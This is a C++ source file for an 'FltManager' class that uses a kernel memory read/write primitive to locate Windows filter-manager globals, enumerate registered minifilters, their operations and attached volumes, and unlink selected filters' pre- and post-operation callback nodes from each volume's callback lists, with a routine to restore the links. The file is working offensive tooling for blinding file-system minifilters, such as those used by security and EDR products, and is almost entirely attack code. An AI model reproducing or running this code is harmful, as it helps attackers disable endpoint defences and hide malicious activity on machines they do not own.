#include "FltUtil.h" #include PVOID FltManager::ResolveDriverBase(const wchar_t* strDriverName) { DWORD szBuffer = 0x2000; BOOL bRes = FALSE; DWORD dwSizeRequired = 0; wchar_t buffer[256] = { 0 }; LPVOID lpBase = NULL; HANDLE hHeap = GetProcessHeap(); if (!hHeap) { return NULL; } LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, szBuffer); if (!lpBuf) { return NULL; } bRes = EnumDeviceDrivers((LPVOID*)lpBuf, szBuffer, &dwSizeRequired); if (!bRes) { HeapFree(hHeap, 0, lpBuf); lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwSizeRequired); if (!lpBuf) { return NULL; } szBuffer = dwSizeRequired; bRes = EnumDeviceDrivers((LPVOID*)lpBuf, szBuffer, &dwSizeRequired); if (!bRes) { printf("Failed to allocate space for device driver base array\n"); return NULL; } } SIZE_T szNumDrivers = szBuffer / sizeof(PVOID); for (SIZE_T i = 0; i < szNumDrivers; i++) { PVOID lpBaseIter = ((LPVOID*)lpBuf)[i]; GetDeviceDriverBaseNameW(lpBaseIter, buffer, 256); if (!lstrcmpiW(strDriverName, buffer)) { lpBase = lpBaseIter; break; } } HeapFree(hHeap, 0, lpBuf); return lpBase; } PVOID FltManager::ResolveFltmgrGlobals(LPVOID lpkFltMgrBase) { HMODULE hFltmgr = LoadLibraryExA(R"(C:\WINDOWS\System32\drivers\FLTMGR.SYS)", NULL, DONT_RESOLVE_DLL_REFERENCES); if (!hFltmgr) { return NULL; } LPVOID lpFltMgrBase = (PVOID)((SIZE_T)hFltmgr & 0xFFFFFFFFFFFFFF00); LPVOID StartSearch = GetProcAddress(hFltmgr, "FltEnumerateFilters"); LPVOID EndSearch = (LPVOID)((DWORD64)GetProcAddress(hFltmgr, "FltEnumerateFilters") + (DWORD64)0x1000); DWORD distance = 0; LPVOID pFltGlobals = NULL; //FLTMGR!FltEnumerateFilters + 0x81: //fffff800`350c90e1 e87a59316e call nt!ExInitializeFastOwnerEntry(fffff800`a33dea60) //fffff800`350c90e6 4c8b157310fdff mov r10, qword ptr[FLTMGR!_imp_KeEnterCriticalRegion(fffff800`3509a160)] //fffff800`350c90ed e8fe23326e call nt!KeEnterCriticalRegion(fffff800`a33eb4f0) //fffff800`350c90f2 41b001 mov r8b, 1 //fffff800`350c90f5 488d942480000000 lea rdx, [rsp + 80h] //fffff800`350c90fd 488d0d9476fcff lea rcx, [FLTMGR!FltGlobals + 0x58 (fffff800`35090798)] //fffff800`350c9104 4c8b154d10fdff mov r10, qword ptr[FLTMGR!_imp_ExAcquireFastResourceShared(fffff800`3509a158)] //fffff800`350c910b e820da146e call nt!ExAcquireFastResourceShared(fffff800`a3216b30) while (StartSearch <= EndSearch) { if ((((PBYTE)StartSearch)[0] == patternFltGlobals[0]) && (((PBYTE)StartSearch)[1] == patternFltGlobals[1]) && (((PBYTE)StartSearch)[2] == patternFltGlobals[2])) { distance = *(PDWORD)((DWORD_PTR)StartSearch + 3); pFltGlobals = (LPVOID)((DWORD_PTR)StartSearch + distance + 7); break; } StartSearch = (LPVOID)((DWORD64)StartSearch + 0x01); } // Calculate offset DWORD Offset = (DWORD)pFltGlobals - (DWORD)hFltmgr; return (LPVOID) ((DWORD64) lpkFltMgrBase + (DWORD64) Offset - patternFltGlobals[3]); } FltManager::FltManager(MemHandler* objMemHandlerArg) { this->objMemHandler = objMemHandlerArg; this->lpNtosBase = this->ResolveDriverBase(L"ntoskrnl.exe"); this->lpFltMgrBase = ResolveDriverBase(L"fltmgr.sys"); this->lpFltGlobals = ResolveFltmgrGlobals(this->lpFltMgrBase); bool b = this->objMemHandler->VirtualRead( ((SIZE_T)this->lpFltGlobals + FLTGLB_OFFSET_FLT_RESOURCE_LISTHEAD + FLT_RESOURCE_LISTHEAD_OFFSET_FRAME_COUNT), &this->ulNumFrames, sizeof(ULONG) ); if (!b) { puts("Could not read frame count"); return; } b = this->objMemHandler->VirtualRead( ((SIZE_T)this->lpFltGlobals + FLTGLB_OFFSET_FLT_RESOURCE_LISTHEAD + FLT_RESOURCE_LISTHEAD_OFFSET_FRAME_LIST), &this->lpFltFrameList, sizeof(PVOID) ); if (!b) { puts("Could not read frame list"); return; } } PVOID FltManager::GetFilterByName(const wchar_t* strFilterName) { PVOID lpListHead = NULL; PVOID lpFlink = NULL; DWORD64 lpFltFrame = NULL; ULONG ulFiltersInFrame = 0; DWORD64 qwFrameListIter = 0; DWORD64 qwFrameListHead = 0; DWORD64 lpFilter = 0; bool b = this->objMemHandler->VirtualRead( (DWORD64)this->lpFltFrameList, &lpListHead, sizeof(PVOID) ); if (!b) { puts("Failed to read frame list head!"); return NULL; } printf("List of filters at - %p\n", lpListHead); // for each frame for (ULONG i = 0; i < this->ulNumFrames; i++) { printf("===== FRAME %d =====\n", i); // read the flink b = this->objMemHandler->VirtualRead( (DWORD64)lpListHead, &lpFlink, sizeof(PVOID) ); if (!b) { puts("Failed to read frame list flink!"); return NULL; } // now that we've read the FLINK, subtract 0x8 to give us the adjusted _FLTP_FRAME* lpFltFrame = (DWORD64)lpFlink - 0x8; // now we need to read the number of filters associated with this frame printf( "Reading count of filters from %llx\n", lpFltFrame + FLT_FRAME_OFFSET_FILTER_RESOUCE_LISTHEAD + FILTER_RESOUCE_LISTHEAD_OFFSET_COUNT ); b = this->objMemHandler->VirtualRead( lpFltFrame + FLT_FRAME_OFFSET_FILTER_RESOUCE_LISTHEAD + FILTER_RESOUCE_LISTHEAD_OFFSET_COUNT, &ulFiltersInFrame, sizeof(ULONG) ); if (!b) { puts("Failed to read filter count for frame!"); return NULL; } printf("Found %d filters for frame\n", ulFiltersInFrame); b = this->objMemHandler->VirtualRead( lpFltFrame + FLT_FRAME_OFFSET_FILTER_RESOUCE_LISTHEAD + FILTER_RESOUCE_LISTHEAD_OFFSET_FILTER_LISTHEAD, &qwFrameListHead, sizeof(DWORD64) ); if (!b) { puts("Failed to read frame list head!"); return NULL; } qwFrameListIter = qwFrameListHead; for (ULONG j = 0; j < ulFiltersInFrame; j++) { DWORD64 qwFilterName = 0; DWORD64 qwFilterNameBuffPtr = 0; USHORT Length = 0; // adjust by subtracting 0x10 to give us a pointer to our filter lpFilter = qwFrameListIter - 0x10; qwFilterName = lpFilter + FILTER_OFFSET_NAME; // now we read the length of the name b = this->objMemHandler->VirtualRead( qwFilterName + UNISTR_OFFSET_LEN, &Length, sizeof(USHORT) ); if (!b) { puts("Failed to read size of string for filter name!"); return NULL; } // find the pointer to the name buffer b = this->objMemHandler->VirtualRead( qwFilterName + UNISTR_OFFSET_BUF, &qwFilterNameBuffPtr, sizeof(DWORD64) ); if (!b) { puts("Failed to read buffer pointer for filter name!"); return NULL; } // allocate a buffer for the name wchar_t* buf = new wchar_t[((SIZE_T)Length) + 2]; memset(buf, 0, ((SIZE_T)Length) + 2); // now read in the actual name b = this->objMemHandler->VirtualRead( qwFilterNameBuffPtr, buf, Length ); if (!b) { puts("Failed to read buffer pointer for filter name!"); delete[] buf; return NULL; } printf("\t\nFilter %d - %S", j, buf); // compare it to our desired filter if (!lstrcmpiW(buf, strFilterName)) { printf("\nFound target filter at %llx\n", lpFilter); return (PVOID)lpFilter; } // read in the next flink b = this->objMemHandler->VirtualRead( qwFrameListIter, &qwFrameListIter, sizeof(DWORD64) ); if (!b) { puts("Failed to read next flink!"); delete[] buf; return NULL; } // free the buffer delete[] buf; } // read the list of registered filters in the frame } printf("\nFailed to find filter matching name %S\n", strFilterName); return NULL; } PVOID FltManager::GetFrameForFilter(LPVOID lpFilter) { PVOID lpFrame = NULL; bool b = this->objMemHandler->VirtualRead( (DWORD64)lpFilter + FILTER_OFFSET_FRAME, &lpFrame, sizeof(PVOID) ); if (!b) { puts("Failed to read filter frame!"); return NULL; } return lpFrame; } std::vector FltManager::GetOperationsForFilter(PVOID lpFilter) { std::vector retVec = std::vector(); if (!lpFilter) { puts("lpFilter is NULL!"); return retVec; } DWORD64 qwOperationRegIter = 0; DWORD64 qwOperationRegPtr = 0; // first we read the pointer to the table of FLT_OPERATION_REGISTRATION bool b = this->objMemHandler->VirtualRead( (DWORD64)lpFilter + FILTER_OFFSET_OPERATIONS, &qwOperationRegPtr, sizeof(DWORD64) ); if (!b) { puts("Failed to read Operation Registration Ptr!"); return std::vector(); } printf("Operations at %llx\n", qwOperationRegPtr); while (TRUE) { FLT_OPERATION_REGISTRATION* fltIter = new FLT_OPERATION_REGISTRATION(); b = this->objMemHandler->VirtualRead( qwOperationRegPtr, fltIter, sizeof(FLT_OPERATION_REGISTRATION) ); if (!b) { puts("Failed to read next Operation Registration!"); return std::vector(); } // read until we get IRP_MJ_OPERATION_END if (fltIter->MajorFunction == IRP_MJ_OPERATION_END) { break; } retVec.push_back(*fltIter); qwOperationRegPtr += sizeof(FLT_OPERATION_REGISTRATION); } return retVec; } std::unordered_map FltManager::EnumFrameVolumes(LPVOID lpFrame) { ULONG ulNumVolumes = 0; DWORD64 qwListIter = 0; std::unordered_map retVal; // first we read the count of volumes bool b = this->objMemHandler->VirtualRead( (DWORD64)lpFrame + FRAME_OFFSET_VOLUME_LIST + VOLUME_LIST_OFFSET_COUNT, &ulNumVolumes, sizeof(ULONG) ); if (!b) { puts("Failed to read volume count!"); return std::unordered_map(); } printf("Found %d attached volumes for frame %p\n", ulNumVolumes, lpFrame); // read the list head b = this->objMemHandler->VirtualRead( (DWORD64)lpFrame + FRAME_OFFSET_VOLUME_LIST + VOLUME_LIST_OFFSET_LIST, &qwListIter, sizeof(DWORD64) ); if (!b) { puts("Failed to read volume list head!"); return std::unordered_map(); } for (ULONG i = 0; i < ulNumVolumes; i++) { DWORD64 lpVolume = qwListIter - 0x10; DWORD64 lpBuffer = lpVolume + VOLUME_OFFSET_DEVICE_NAME + UNISTR_OFFSET_BUF; DWORD64 lpBufferLen = lpVolume + VOLUME_OFFSET_DEVICE_NAME + UNISTR_OFFSET_LEN; DWORD64 lpBufferPtr = 0; ULONG ulDeviceNameLen = 0; // read the string length first b = this->objMemHandler->VirtualRead( lpBufferLen, &ulDeviceNameLen, sizeof(USHORT) ); if (!b) { puts("Failed to read unicode string length!"); return std::unordered_map(); } // read the pointer to the buffer b = this->objMemHandler->VirtualRead( lpBuffer, &lpBufferPtr, sizeof(DWORD64) ); if (!b) { puts("Failed to read unicode string buffer ptr!"); return std::unordered_map(); } // then read the actual buffer wchar_t* buf = new wchar_t[(SIZE_T)ulDeviceNameLen + 2]; memset(buf, 0, (SIZE_T)ulDeviceNameLen + 2); b = this->objMemHandler->VirtualRead( lpBufferPtr, buf, ulDeviceNameLen ); if (!b) { puts("Failed to read unicode string buffer!"); return std::unordered_map(); } retVal[buf] = (PVOID)lpVolume; printf("%d\t%S\n", i, buf); // go to the next link b = this->objMemHandler->VirtualRead( (DWORD64)qwListIter, &qwListIter, sizeof(DWORD64) ); if (!b) { puts("Failed to read next volume link!"); return std::unordered_map(); } } return retVal; } DWORD FltManager::GetFrameCount() { return this->ulNumFrames; } BOOL FltManager::UnLinksForVolumesAndCallbacks( std::vector vecTargetOperations, std::unordered_map mapTargetVolumes, UCHAR ToRemove ) { ULONG numPatched = 0; for (const FLT_OPERATION_REGISTRATION& op : vecTargetOperations) { UCHAR index = (UCHAR)op.MajorFunction + 22; if (ToRemove != 0 && index != ToRemove) { continue; } for (auto& vol : mapTargetVolumes) { if (index > 50) { printf("Skipping non-indexed adjusted major fn - %d", index); continue; } DWORD64 lpTargetCallbackListEntryPtr = (DWORD64)vol.second + VOLUME_OFFSET_CALLBACK_TBL + ((DWORD64)index * 0x10); printf("\n==== Volume: %S ====\n\tMajFn %d\n\tListEntryPtr - %llx\n", vol.first, index, lpTargetCallbackListEntryPtr); DWORD64 lpListHead = 0; DWORD64 lpListIter = 0; bool b = this->objMemHandler->VirtualRead( lpTargetCallbackListEntryPtr, &lpListHead, sizeof(DWORD64) ); if (!b) return FALSE; lpListIter = lpListHead; int linknumbers = 0; do { // read in the preop and post-op // operations[0] = PreOp // operations[1] = PostOp DWORD64 operations[2] = { 0 }; bool b = this->objMemHandler->VirtualRead( lpListIter + CALLBACK_NODE_OFFSET_PREOP, operations, sizeof(operations) ); if (!b) return FALSE; if ((operations[0] == (DWORD64)op.PreOperation && op.PreOperation != NULL) || (operations[1] == (DWORD64)op.PostOperation && op.PostOperation != NULL)){ printf("\t lpListIter: %llx \n", lpListIter); DWORD64 prevNodeAddress = 0x00; DWORD64 nextNodeAddress = 0x00; bool b = this->objMemHandler->VirtualRead( lpListIter + offsetof(LIST_ENTRY, Blink), &prevNodeAddress, sizeof(DWORD64) ); b = this->objMemHandler->VirtualRead( lpListIter + offsetof(LIST_ENTRY, Flink), &nextNodeAddress, sizeof(DWORD64) ); // Store the old and new values in the map DWORD64 BlinkToRestore = 0x00; DWORD64 FlinkToRestore = 0x00; b = this->objMemHandler->VirtualRead( nextNodeAddress + offsetof(LIST_ENTRY, Blink), &BlinkToRestore, sizeof(DWORD64) ); b = this->objMemHandler->VirtualRead( prevNodeAddress + offsetof(LIST_ENTRY, Flink), &FlinkToRestore, sizeof(DWORD64) ); patchLinksMap[nextNodeAddress + offsetof(LIST_ENTRY, Blink)] = std::make_pair(BlinkToRestore, prevNodeAddress); patchLinksMap[prevNodeAddress + offsetof(LIST_ENTRY, Flink)] = std::make_pair(FlinkToRestore, nextNodeAddress); // b = this->objMemHandler->WriteMemoryDWORD64( nextNodeAddress + offsetof(LIST_ENTRY, Blink), prevNodeAddress ); b = this->objMemHandler->WriteMemoryDWORD64( prevNodeAddress + offsetof(LIST_ENTRY, Flink), nextNodeAddress ); puts("\t\t** PATCHED!"); numPatched++; } // read the next FLINK b = this->objMemHandler->VirtualRead( lpListIter, &lpListIter, sizeof(DWORD64) ); linknumbers++; if (!b) return FALSE; } while (lpListIter != lpTargetCallbackListEntryPtr); printf("linknumbers: %d\n", linknumbers); } } printf("Patched %d links\n", numPatched); return TRUE; } BOOL FltManager::Restore() { BOOL b = false; if (patchCallbackMap.size() > 0) { for (const auto& entry : patchCallbackMap) { DWORD64 address = entry.first; DWORD64 oldValue = entry.second.first; // The old value we want to restore printf("Restoring value at address: %llx to old value: %llx\n", address, oldValue); // Write the old value back to the original memory location b = this->objMemHandler->WriteMemoryDWORD64(address, oldValue); if (!b) { printf("Failed to restore at address: %llx\n", address); return FALSE; } } } if (patchLinksMap.size() > 0) { for (const auto& entry : patchLinksMap) { DWORD64 address = entry.first; DWORD64 oldValue = entry.second.first; // The old value we want to restore printf("Restoring value at address: %llx to old value: %llx\n", address, oldValue); // Write the old value back to the original memory location b = this->objMemHandler->WriteMemoryDWORD64(address, oldValue); if (!b) { printf("Failed to restore at address: %llx\n", address); return FALSE; } } } return b; } FltManager::~FltManager() { }